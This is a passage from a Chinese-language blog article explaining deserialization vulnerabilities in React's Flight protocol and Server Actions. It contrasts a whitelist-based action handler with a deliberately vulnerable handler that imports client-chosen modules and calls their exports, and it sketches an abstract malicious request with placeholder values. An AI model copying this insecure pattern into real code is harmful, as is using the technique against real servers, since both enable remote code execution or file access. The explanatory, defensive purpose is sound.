data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 在客户端触发的 Server Action 调用</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">fetchData</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">action</span></span><span leaf="">) </span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> fetch(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;/server-action&#39;</span></span><span leaf="">, {</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">method</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;POST&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">body</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.stringify({ action }),</span><span leaf=""><br/></span><span leaf="">  });</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当客户端发起请求时，Flight 数据流中会包含函数名、参数和上下文信息（例如 action）。</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">{</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$F&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;fetchData&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;args&#34;</span></span><span leaf="">: [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;/server-action&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">服务器端会解析这个记录，恢复出 fetchData 函数，并使用传入的参数执行它。当然，实际场景下比这个复杂，服务器不会简单地根据客户端传来的函数名去 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">require()</span></code><span leaf=""> 任意模块，而是要通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">createServerReference</span></code><span leaf="">、签名校验、Manifest 查表等步骤。</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 服务器端恢复函数引用并执行</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> { fetchData } = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">require</span></span><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;./serverActions&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">fetchData(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;/server-action&#39;</span></span><span leaf="">);</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以如果发送的 Flight 数据流，没有足够的安全检查，就可能导致反序列化漏洞。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">3、一个抽象示例</span></span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先给一个最简单的、安全的示例：只认白名单 ID</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">假设我们有一套“Server Actions”，给前端调：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// server/actions.js</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">addTodo</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">text</span></span><span leaf="">) </span></span><span leaf="">{ </span><span style="color: #75715e;line-height: 26px;"><span leaf="">/* ... */</span></span><span leaf=""> }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">function</span></span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">deleteTodo</span></span><span leaf="">(</span><span style="line-height: 26px;"><span leaf="">id</span></span><span leaf="">) </span></span><span leaf="">{ </span><span style="color: #75715e;line-height: 26px;"><span leaf="">/* ... */</span></span><span leaf=""> }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">export</span></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> actions = {</span><span leaf=""><br/></span><span leaf="">  addTodo,</span><span leaf=""><br/></span><span leaf="">  deleteTodo,</span><span leaf=""><br/></span><span leaf="">};</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">test-p</span></strong><span leaf=""> 协议（举例说明，抽象化的 Flight 协议）规定：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">{</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;action&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;id&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;addTodo&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;args&#34;</span></span><span leaf="">: [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;Buy milk&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">服务器端的</span><strong style="font-weight: bold;color: black;"><span leaf="">反序列化 + 调用逻辑</span></strong><span leaf="">大致是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// server/flight-reply-handler.js</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> { actions } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">from</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;./actions.js&#39;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">app.post(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;/flight&#39;</span></span><span leaf="">, </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span leaf=""> (req, res) =&gt; {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ① 从客户端读“Flight 数据流”（这里简化成 JSON）</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> payload = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.parse(req.body);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ② 只处理 type=action</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (payload.type !== </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;action&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> res.status(</span><span style="line-height: 26px;"><span leaf="">400</span></span><span leaf="">).end(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;bad type&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ③ 只允许调用「预先注册在 actions 映射」里的函数</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> fn = actions[payload.id];</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> fn !== </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;function&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> res.status(</span><span style="line-height: 26px;"><span leaf="">400</span></span><span leaf="">).end(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;unknown action&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ④ 参数当作普通数据使用</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> result = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> fn(...payload.args);</span><span leaf=""><br/></span><span leaf="">  res.json({ </span><span style="line-height: 26px;"><span leaf="">ok</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf="">, result });</span><span leaf=""><br/></span><span leaf="">});</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这里 反序列化 = JSON.parse + 根据字段走逻辑，但逻辑上有几个 安全边界：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">type 只能是 &#39;action&#39;</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">id 必须在 actions 白名单里</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">后端不会根据客户端数据去 </span><strong style="font-weight: bold;color: black;"><span leaf="">require()</span></strong><span leaf=""> 任意模块，也不会 </span><strong style="font-weight: bold;color: black;"><span leaf="">new Function()</span></strong><span leaf="">、</span><strong style="font-weight: bold;color: black;"><span leaf="">eval</span></strong><span leaf=""> 等</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这种情况下，客户端输入能力很有限：最多就是乱调我们已经暴露出来的那些 Action，但不能随便执行别的代码。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">现在开始加一点难度：引入“Flight 风格的高级特性”—— 模块引用 / 函数引用</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Flight 协议的特点是：为了支持 RSC / Server Actions，它的反序列化逻辑，不只是还原 JSON，而是会还原“函数引用”“模块引用”等复杂东西。这也是现实场景的需要。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">为了模拟这个需求，我们改造一下 </span><strong style="font-weight: bold;color: black;"><span leaf="">test-p</span></strong><span leaf=""> 协议（前文中为了方便举例自创的），增加“模块调用”的能力：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 允许两种记录:</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 1. 调用预注册的 action（安全的）</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 2. 调用某个模块的某个导出（危险的）</span></span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;callModule&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;module&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;./safeMath.js&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;export&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;sum&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;args&#34;</span></span><span leaf="">: [</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">2</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">假设后端为了偷懒，写了一个“通用反序列化 + 调用器”（方便理解，就是那么简单粗暴）：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">//  漏洞示例：过度通用的反序列化逻辑</span></span><span leaf=""><br/></span><span leaf="">app.post(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;/flight&#39;</span></span><span leaf="">, </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">async</span></span><span leaf=""> (req, res) =&gt; {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> payload = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.parse(req.body);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (payload.type === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;action&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 和刚才一样</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> fn = actions[payload.id];</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> fn !== </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;function&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> res.status(</span><span style="line-height: 26px;"><span leaf="">400</span></span><span leaf="">).end(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;unknown action&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> result = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> fn(...payload.args);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> res.json({ </span><span style="line-height: 26px;"><span leaf="">ok</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf="">, result });</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (payload.type === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;callModule&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 把「客户端字符串」当模块名和导出名来 require / 调用</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> mod = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span leaf="">(payload.module);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> fn = mod[payload.export];</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> fn !== </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;function&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> res.status(</span><span style="line-height: 26px;"><span leaf="">400</span></span><span leaf="">).end(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;not a function&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> result = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">await</span></span><span leaf=""> fn(...payload.args);</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> res.json({ </span><span style="line-height: 26px;"><span leaf="">ok</span></span><span leaf="">: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf="">, result });</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  res.status(</span><span style="line-height: 26px;"><span leaf="">400</span></span><span leaf="">).end(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;unknown type&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">});</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在实际场景下一定比这个复杂，但实际上最终原理是一致的。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">从后端作者的视角：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">“我只是做了个灵活点的协议，方便以后扩展嘛。”</span></p></blockquote><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">从攻防视角：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">服务端已经把选择要 </span><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">import</span></code></strong><span leaf=""> 哪个模块、调用哪个导出函数的权力，完全交给了客户端。</span></p></blockquote><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">那攻击者能做哪些事呢：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">能控制 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">payload.module</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">payload.export</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">服务器在反序列化时，会去 </span><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">import(payload.module)</span></code></strong><strong style="font-weight: bold;color: black;"><span leaf="">然后执行</span></strong><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">mod[payload.export](...)</span></code></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">只要项目里存在一些</span><strong style="font-weight: bold;color: black;"><span leaf="">能做敏感操作的函数</span></strong><span leaf="">（执行命令、读写文件、发 HTTP 请求等），就有机会被滥用</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">比如构造一个恶意请求：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">{</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;type&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;callModule&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;module&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;某个库或内部模块&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;export&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;某个本不该给前端直接调用的危险函数&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&#34;args&#34;</span></span><span leaf="">: [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;攻击者想要的参数&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">然后这段反序列化代码会老老实实地执行：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> mod = </span><span style="line-height: 26px;"><span leaf="">await </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">import</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;某个库或内部模块&#34;</span></span><span leaf="">)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> fn = mod[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;某个本不该给前端直接调用的危险函数&#34;</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">await </span><span style="color: #a6e22e;font-weight: bold;line-height: 26px;"><span leaf="">fn</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;攻击者想要的参数&#34;</span></span><span leaf="">)</span></span></span><span leaf="">;</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">一旦这个函数本身能做“系统命令 / 文件访问 / 任意网络请求”之类的事情，很容易升级为 </span><strong style="font-weight: bold;color: black;"><span leaf="">RCE / SSRF / 任意文件读写</span></strong><span leaf=""> 等。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">到这一步是不是感觉到熟悉了？没错，Java 反序列化漏洞的原理也是类似，最终都是可以调用危险函数/方法去执行命令。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: 